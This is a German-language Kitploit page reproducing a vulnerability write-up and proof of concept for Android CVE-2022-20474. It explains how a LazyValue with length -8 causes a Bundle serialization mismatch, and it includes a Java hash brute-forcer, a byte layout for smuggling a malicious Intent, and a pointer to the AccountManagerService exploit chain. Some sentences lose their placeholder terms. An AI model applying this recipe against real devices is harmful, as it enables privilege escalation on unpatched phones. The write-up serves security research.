Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2022-20474 — PoC von CVE-2022-20474 | Kitploit
Tools/GitHubGitHub/cxxsheng/cve-2022-20474
Android-SicherheitSchwachstellenanalyseExploitationPapers & ForschungLernen & BildungBinary-Exploitation
GitHubcxxsheng/cve-2022-20474

CVE-2022-20474

PoC von CVE-2022-20474

Repository anzeigen
201vor 1 JahrVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2022-20474 Analyse – Self-changed Bundle unter LazyValue

Vorwort

Freundlicher Hinweis: Bevor Sie diesen Artikel lesen, sollten Sie ein grundlegendes Verständnis der Bundle-Mismatch-Schwachstellen haben. Falls Sie die folgenden Referenzen noch nicht gelesen haben, wird empfohlen, diese zuerst zu lesen:

  1. Bundle风水——Android序列化与反序列化不匹配漏洞详解:经典的入门级别教程。
  2. Android 反序列化漏洞攻防史话:很好的总结性文章。
  3. TheLastBundleMismatch:第一篇LazyValue模式下的Bundle Mismatch文章。

Hintergrund

Vor kurzem habe ich mich intensiv mit dem LeakValue-Artikel von michalbednarski beschäftigt. Bei einer Diskussion mit Canyie erwähnte er, dass in diesem Artikel auch ein Fall von Self-changing Bundle im LazyValue-Szenario beschrieben wird. Daraufhin suchte ich den Originaltext und fand tatsächlich diesen Abschnitt, den ich beim Lesen von Michals Artikel direkt übersehen hatte. Im Original heißt es:

(Also LazyValue with negative length specified can be used (without using other bugs described in this writeup) to create self-changing Bundle, the thing LazyValue was created to eliminate. But that is another story (and separately reported to Google), in this exploit I'm aiming for more)

Michal bezog sich auf CVE-2022-20474 (bulletin, patch). Ich habe mir den Patch angesehen, aber die Funktion im Patch-Link war nicht vollständig. Nachdem ich sie ergänzt habe, habe ich sie mir genauer angesehen:

root@kitploit:~
@@ -4388,6 +4388,9 @@
    public Object readLazyValue(@Nullable ClassLoader loader) {
         int start = dataPosition();
         int type = readInt();
         if (isLengthPrefixed(type)) {
             int objectLength = readInt();
+            if (objectLength < 0) {
+                return null;
+            }
             int end = MathUtils.addOrThrow(dataPosition(), objectLength);
             int valueLength = end - start;
             setDataPosition(end);
             return new LazyValue(this, start, valueLength, type, loader);
         } else {
            return readValue(type, loader, /* clazz */ null);
         }
    }             

Das objectLength im Code entspricht dem length in LazyValue. Tatsächlich ist dies nur die Länge des variablen Objekts, das in LazyValue enthalten ist. Die gesamte Länge von LazyValue wird jedoch durch das Feld mLength gesteuert, also valueLength im Code, das im Konstruktor von LazyValue an mLength übergeben wird.

Vergleichen wir nun das Layout von LazyValue:

root@kitploit:~
       /**
         *                      |   4B   |   4B   |
         * mSource = Parcel{... |  type  | length | object | ...}
         *                      a        b        c        d
         * length = d - c
         * mPosition = a
         * mLength = d - a
         */

Basierend auf dem obigen Inhalt können wir die folgenden Fakten ableiten:

  1. mLength repräsentiert die gesamte Länge von LazyValue, mLength = objectLength + 8 Bytes.
  2. objectLength sollte größer oder gleich 0 sein.
  3. Das LazyValue-Objekt speichert nur mLength, nicht objectLength, da LazyValue bei einer Speicherkopie das gesamte Objekt kopiert.
  4. Nach dem Lesen wird der Zeiger vorwärts bewegt, möglicherweise wird LazyValue erneut gelesen.

Nach eingehender Überlegung kamen wir übereinstimmend zu dem Schluss, dass diese Fakten keinen Wert haben! Denn basierend auf den obigen Fakten kann man nur während des Lesens einmal modifizieren. Wir wissen jedoch, dass der Kern des Self-changed Bundle darin besteht, die Modifikation nach dem Lesen durchzuführen, um Sicherheitsprüfungen zu umgehen.

Gerade als wir aufgeben wollten, entdeckten wir plötzlich einige Details in der Patch-Beschreibung:

Addresses a security vulnerability where a (-8) length object would cause dataPosition to be reset back to the statt of the value, and be re-read again.

Anormale objectLength

Darin wird erwähnt, dass bei einem objectLength von -8 einige Probleme auftreten. Das gab uns zusätzliche Hinweise. Kann LazyValue in diesem Fall normal angewendet werden?

root@kitploit:~
        @Override
        public Object apply(@Nullable Class<?> clazz, @Nullable Class<?>[] itemTypes) {
            Parcel source = mSource;
            if (source != null) {
                synchronized (source) {
                    // Check mSource != null guarantees callers won't ever see different objects.
                    if (mSource != null) {
                        int restore = source.dataPosition();
                        try {
                            source.setDataPosition(mPosition);
                            mObject = source.readValue(mLoader, clazz, itemTypes);
                        } finally {
                            source.setDataPosition(restore);
                        }
                        mSource = null;
                    }
                }
            }
            return mObject;
        }

  	/**
     * @see #readValue(int, ClassLoader, Class, Class[])
     */
    @Nullable
    private <T> T readValue(@Nullable ClassLoader loader, @Nullable Class<T> clazz,
            @Nullable Class<?>... itemTypes) {
        int type = readInt();
        final T object;
        if (isLengthPrefixed(type)) {
            int length = readInt();
            int start = dataPosition();
            object = readValue(type, loader, clazz, itemTypes);
            int actual = dataPosition() - start;
            if (actual != length) {
                Slog.wtfStack(TAG,
                        "Unparcelling of " + object + " of type " + Parcel.valueTypeToString(type)
                                + "  consumed " + actual + " bytes, but " + length + " expected.");
            }
        } else {
            object = readValue(type, loader, clazz, itemTypes);
        }
        return object;
    }

Man sieht, dass das eigentliche readValue von mPosition aus liest, dann nacheinander LazyType und objectLength liest und dann in den normalen Value-Lesevorgang übergeht, z.B. muss Parcelable den ClassName lesen und dann createFromParcel ausführen. Nach dem Lesen gibt es keinen Unterschied zu einem normalen Key-Value und es hat keine Auswirkungen auf die nachfolgende Serialisierung. Noch einmal: Der Kern des Self-changed Bundle ist die Modifikation nach dem Lesen. Hier handelt es sich lediglich um einen normalen Out-of-Bounds-Read, also scheint dieser Ansatz nicht zu funktionieren.

Was passiert, wenn LazyValue in diesem Prozess nicht applyed wird? Mit anderen Worten, es nimmt weiterhin als LazyValue an IPC teil, dann wird seine writeToParcel-Funktion aufgerufen:

root@kitploit:~
     public void writeToParcel(Parcel out) {
            Parcel source = mSource;
            if (source != null) {
                synchronized (source) {
                    if (mSource != null) {
                        out.appendFrom(source, mPosition, mLength);
                        return;
                    }
                }
            }
            out.writeValue(mObject);
        }

Das gesamte LazyValue wird direkt kopiert, es sei denn mLength = 0. Moment! Oben wurde erwähnt, dass mLength = objectLength + 8 Bytes ist. Aus den Patch-Informationen geht hervor, dass objectLength -8 sein muss, um die Schwachstelle auszulösen, dann gilt mLength = 0. Mit anderen Worten: In diesem Szenario verschwindet das gesamte LazyValue einfach und nur der String Key wird kopiert, was zu einem fehlenden Write führt. Die Bedingung für Self-changed Bundle ist direkt erfüllt.

Nachdem wir die Ursache kennen, können wir mit der Reproduktion beginnen, aber davor brauchen wir noch ein paar Details.

Detail 1 Zwei Arten von Bundle

root@kitploit:~
 static final int BUNDLE_MAGIC = 0x4C444E42; // 'B' 'N' 'D' 'L'
 private static final int BUNDLE_MAGIC_NATIVE = 0x4C444E44; // 'B' 'N' 'D' 'N'

Wir alle wissen, dass das Speicherlayout von Bundle ungefähr wie folgt aussieht:

root@kitploit:~
       /**
         *        |   4B   |   4B   |   4B   |
         * Bundle{| length |  MAGIC |  size  | Key  | Value | Key  | Value | ...}
         *
         */

MAGIC ist die Magic Number des Bundle im Speicherlayout, kann BUNDLE_MAGIC oder BUNDLE_MAGIC_NATIVE sein. Der wichtigste Unterschied besteht darin, dass BUNDLE_MAGIC die Key-Value-Paare nach der Deserialisierung neu anordnet, wie im folgenden Code gezeigt:

root@kitploit:~
 /**
     * Reads a map into {@code map}.
     *
     * @param sorted Whether the keys are sorted by their hashes, if so we use an optimized path.
     * @param lazy   Whether to populate the map with lazy {@link Function} objects for
     *               length-prefixed values. See {@link Parcel#readLazyValue(ClassLoader)} for more
     *               details.
     * @return a count of the lazy values in the map
     * @hide
     */
    int readArrayMap(ArrayMap<? super String, Object> map, int size, boolean sorted,
            boolean lazy, @Nullable ClassLoader loader) {
        int lazyValues = 0;
        while (size > 0) {
            String key = readString();
            Object value = (lazy) ? readLazyValue(loader) : readValue(loader);
            if (value instanceof LazyValue) {
                lazyValues++;
            }
            if (sorted) {
                map.append(key, value);
            } else {
                map.put(key, value);
            }
            size--;
        }
        if (sorted) {
            map.validate();
        }
        return lazyValues;
    }

Das MAGIC-Flag beeinflusst letztendlich den Wert von sorted in readArrayMap, was eine Sortierung der Map auslöst. Die Kommentare erwähnen auch, dass die Sortierung anhand des Hash-Werts des key String erfolgt.

Detail 2 Überlappung in der Deserialisierung

root@kitploit:~
   /**
     *                 a
     * ArrayMap{| Key1 | LazyValue1 | FakeKey2 | Value2 | Key3  | Value3 |} 
     *
     */

Lassen Sie uns noch einmal den Parsing-Prozess von ArrayMap durchdenken. In der ersten Runde wird zuerst Key1 geparst, dann wird versucht, LazyValue1 zu parsen. Da objectLength von LazyValue1 -8 ist, wird der Parcel-Zeiger zum Anfang von LazyValue1 zurückgesetzt, also zu Punkt a. Dies entspricht Fakt 4 von oben. Damit ist das erste Key-Map-Paar fertig geparst. Das zweite Key-Value-Paar wird ab Punkt a geparst. Dabei wird zuerst die Länge des Strings gelesen. Angenommen, LazyValue1 enthält ein Parcelable, dann sollte diese Länge 4 sein. Daher beginnt der eigentliche Key2 bei Punkt a, also Key2 = LazyValue1 + . enthält keine Daten, also ist seine Länge 8 Bytes ( + ). Die gesamte String-Länge beträgt 4 (Längenindikator) + 4*2 + 4 ("\0") = 16 Bytes. Abzüglich der 8 Bytes von müssen wir bei der Konstruktion 8 weitere Bytes anhängen, also 2 . Dann wird gelesen. Daher benötigen wir bei der ersten Analyse ein , um das Problem des vorwärts bewegten Zeigers aufgrund des negativen von zu bewältigen. Der Wert dieses ist uns egal, da er nur während der ersten Analyse verwendet wird – es ist nur ein Platzhalter. Da der Platzhalter nach Gebrauch weggeworfen wird, möchten wir, dass er nach der ersten Analyse weit von unseren kritischen Daten entfernt ist, und dass unsere bösartigen Daten enthält. Idealerweise sollte der Hash-Wert von größer sein als der von , damit er die nachfolgende Analyse nicht beeinflusst. Durch können wir dieses Ziel erreichen, indem wir den Hash-Wert von anpassen, was in näher erläutert wird. Dann gehen wir zur Analyse von über. Nach dem üblichen -Verfahren legen wir in ein mit dem bösartigen ab, aber es gibt zusätzliche Einschränkungen für . Nach Abschluss der ersten Deserialisierung sollte das -Layout wie folgt aussehen, wobei der Platzhalter am Ende landet:

root@kitploit:~
Key1-Value1 | Key3-Value3 | Key2-Value2

Wie oben in Anormale objectLength erwähnt, beträgt die Länge von LazyValue1 0, daher wird es in writeToParcel überhaupt nicht kopiert! Das tatsächliche Layout ist:

root@kitploit:~
Key1 | Key3-Value3 | Key2-Value2

Nachdem Key1 gelesen wurde, muss noch Value1 gelesen werden. Hier kommt es erneut zu einem Out-of-Bounds-Read, und Key3 muss die Rolle übernehmen, LazyValue1 zu lesen. Das erste int in Key3 muss sowohl die Rolle der String-Länge als auch die des LazyValue-Typs spielen. Das bedeutet, dass die Länge von Key3 nicht zu kurz sein darf, da sonst der Hash schwer zu berechnen ist. Nach einem Blick auf die Liste der LazyValue-Typen habe ich mich für:

root@kitploit:~
private static final int VAL_LIST  = 11; // length-prefixed

Natürlich könntest du auch 12, 16 oder 17 wählen, solange sie nicht zu kurz sind.

Das zweite int in Key3 muss auch als Length von LazyValue dienen. Dadurch können wir die Länge von LazyValue1 steuern und den nächsten Zeiger auf den Anfang des bösartigen Intent setzen. Du fragst dich, ob der Inhalt von LazyValue1 ungültig ist? Das ist mir egal, solange du getXXX nicht aufrufst, um es zu applyen, bleibt es immer ein LazyValue.

Detail 3 Implementierung eines Brute-Forcers

Schreiben Sie einfach einen Brute-Forcer:

root@kitploit:~
private static Pair<Integer, Integer> generateInt(){
        while (true) {
            Random random = new Random();
            int number1 = random.nextInt();
            int number2 = random.nextInt();
            Parcel parcel = Parcel.obtain();
            parcel.writeInt(11); //
            parcel.writeInt(32);
            parcel.writeInt(0);
            parcel.writeInt(0);
            parcel.writeInt(number1);
            parcel.writeInt(number2);
            parcel.writeInt(0);
            parcel.setDataPosition(0);
            String str = parcel.readString();
            if (str.hashCode() >= "Cxxsheng".hashCode() && str.hashCode() <  "Cxxsheng".hashCode() + 1000000)
            {
                parcel.recycle();
                return new Pair<>(number1, number2);
            }
            parcel.recycle();
        }

Natürlich könnten wir auch Key2 brute-forcen und es nach vorne verschieben, aber die Länge von Key2 ist fest auf 4 Bytes gesetzt, was relativ kurz ist und weniger Spielraum bietet. Die Länge von Key3 haben wir oben bereits etwas reserviert, um das Brute-Forcen zu erleichtern. Angenommen, unser Key1 ist der String "Cxxsheng". Wir möchten, dass der Hash-Wert von Key3 größer ist als der von "Cxxsheng", aber nur geringfügig größer. Ich habe 1000000 gesetzt, damit sie mit hoher Wahrscheinlichkeit immer zusammenbleiben und der Dritte, Key2, sich nicht dazwischenquetschen kann. Wie oben erwähnt, sind die ersten beiden ints des Strings fest. Daher schreiben wir zuerst VAL_LIST (auch String-Länge), berechnen, dass noch 32 Bytes bis zum bösartigen Intent fehlen, und die restlichen Nullen können zum Brute-Forcen verwendet werden. Beliebige zwei zum Brute-Forcen auswählen.

Reproduktion

Durch number1 und number2 kann die Sortierung des dritten Werts im ArrayMap gesteuert werden. Da ArrayMap nach dem hashcode des key sortiert, kann der dritte Wert nach der Deserialisierung zum zweiten werden, direkt nach dem ersten "Cxxsheng", wie unten gezeigt:

Bundle[{Cxxsheng=Supplier{VAL_PARCELABLE@28+0},[Kauderwelsch]=[bösartiges ByteArray], [Kauderwelsch]=0}]

Man sieht, dass die Lesereihenfolge auch von der Schreibreihenfolge abweicht. Nach Abschluss des Schreibens haben wir oben analysiert, dass das gesamte LazyValue verloren gegangen ist, und das dritte Key-Value-Paar wurde an die zweite Stelle sortiert, einschließlich type und objectLength. Daher wird das Seitenlayout wie folgt aussehen:

Ausnutzung

Der Leser kann die klassische AccountManagerService-Exploit-Kette verwenden. Ob sie ausnutzbar ist, wird hier nicht weiter ausgeführt, da dies davon abhängt, ob im November-2022-Patch die Funktion checkKeyIntentParceledCorrectly vorhanden ist. Zusätzlich wird erläutert, dass diese Funktion den simulierten IPC-Ablauf verwendet, um die AccountManagerService-Exploit-Kette zu blockieren. Daher kann selbst bei vorhandenem Mismatch auf Android 12 oder 13 eine Ausnutzung möglicherweise nicht erfolgreich sein; es ist erforderlich, eine Methode zur Umgehung dieser Funktion zu finden.

Wir können diese Funktion nachbilden, um den IPC-Ablauf zu simulieren:

root@kitploit:~
    private Bundle simulateIPCBundle(Bundle originBundle){
        Parcel p = Parcel.obtain();
        p.writeBundle(originBundle);
        p.setDataPosition(0);
        byte[] bs = p.marshall(); //debug的时候这里可以在这里看到parcel数据
        // marshall不会改变Parcel指针
        // p.setDataPosition(0); 
        Bundle simulateBundle = p.readBundle(getClass().getClassLoader());
        p.recycle();
        return simulateBundle;
    }

Dann betrachten Sie das Log-Ausgabediagramm durch den simulierten IPC-Ablauf. Details finden Sie in meinem GitHub-Code:

description

Tool herunterladen
FakeKey2
LazyValue1
LazyType
objectLength
LazyValue1
writeInt
Value2
Key2-Value2
objectLength
LazyValue1
Key2-Value2
Key3-Value3
Key2
Key1
Detail 1
Key3
Detail 3
Key2-Value2
Bundle Mismatch
Value3
ByteArray
Intent
Key3
ArrayMap
Key2-Value2
WertBeschreibung
"Cxxsheng"Erster Schlüssel
4Wird zwei Runden gelesen: Erste Runde repräsentiert VAL_PARCELABLE; zweite Runde wird zur String-Länge des zweiten Schlüssels
-8Wird zwei Runden gelesen: Erste Runde repräsentiert objectLength von LazyValue, führt zur Vorwärtsbewegung des Lesezeigers und damit zu zwei Lesevorgängen; zweite Runde wird zum String-Wert des zweiten Schlüssels
0String-Wert des zweiten Schlüssels
0String-Wert des zweiten Schlüssels
1VAL_INTEGER
0Zweiter Wert
11String-Länge des dritten Schlüssels
32String-Wert des dritten Schlüssels
0String-Wert des dritten Schlüssels
0String-Wert des dritten Schlüssels
number1String-Wert des dritten Schlüssels, diese beiden Werte dienen zur Sortieranpassung
number2String-Wert des dritten Schlüssels, diese beiden Werte dienen zur Sortieranpassung
0String-Wert des dritten Schlüssels
13VAL_BYTEARRAY
Länge von LazyValueBerechnet
Länge von ByteArrayBerechnet
ByteArrayEnthält das bösartige Key-Value-Paar, d.h. Intent.EXTRA_INTENT und seinen Intent
WertBeschreibung
"Cxxsheng"Erster Schlüssel
11VAL_LIST
32Länge des ersten Werts. Ob der Rest gültig ist, ist nicht wichtig (dieses LazyValue wird ohnehin nicht applyed). Dies verweist direkt auf den Anfang des bösartigen Intent im ByteArray
0Wert im LazyValue
0Wert im LazyValue
number1Wert im LazyValue
number2Wert im LazyValue
0Wert im LazyValue
13Wert im LazyValue
Länge von LazyValueWert im LazyValue
Länge von ByteArrayWert im LazyValue
ByteArray Anfang/Intent.EXTRA_INTENTZweiter Schlüssel
IntentZweiter Wert
Drittes Key-Value-PaarWird ans Ende sortiert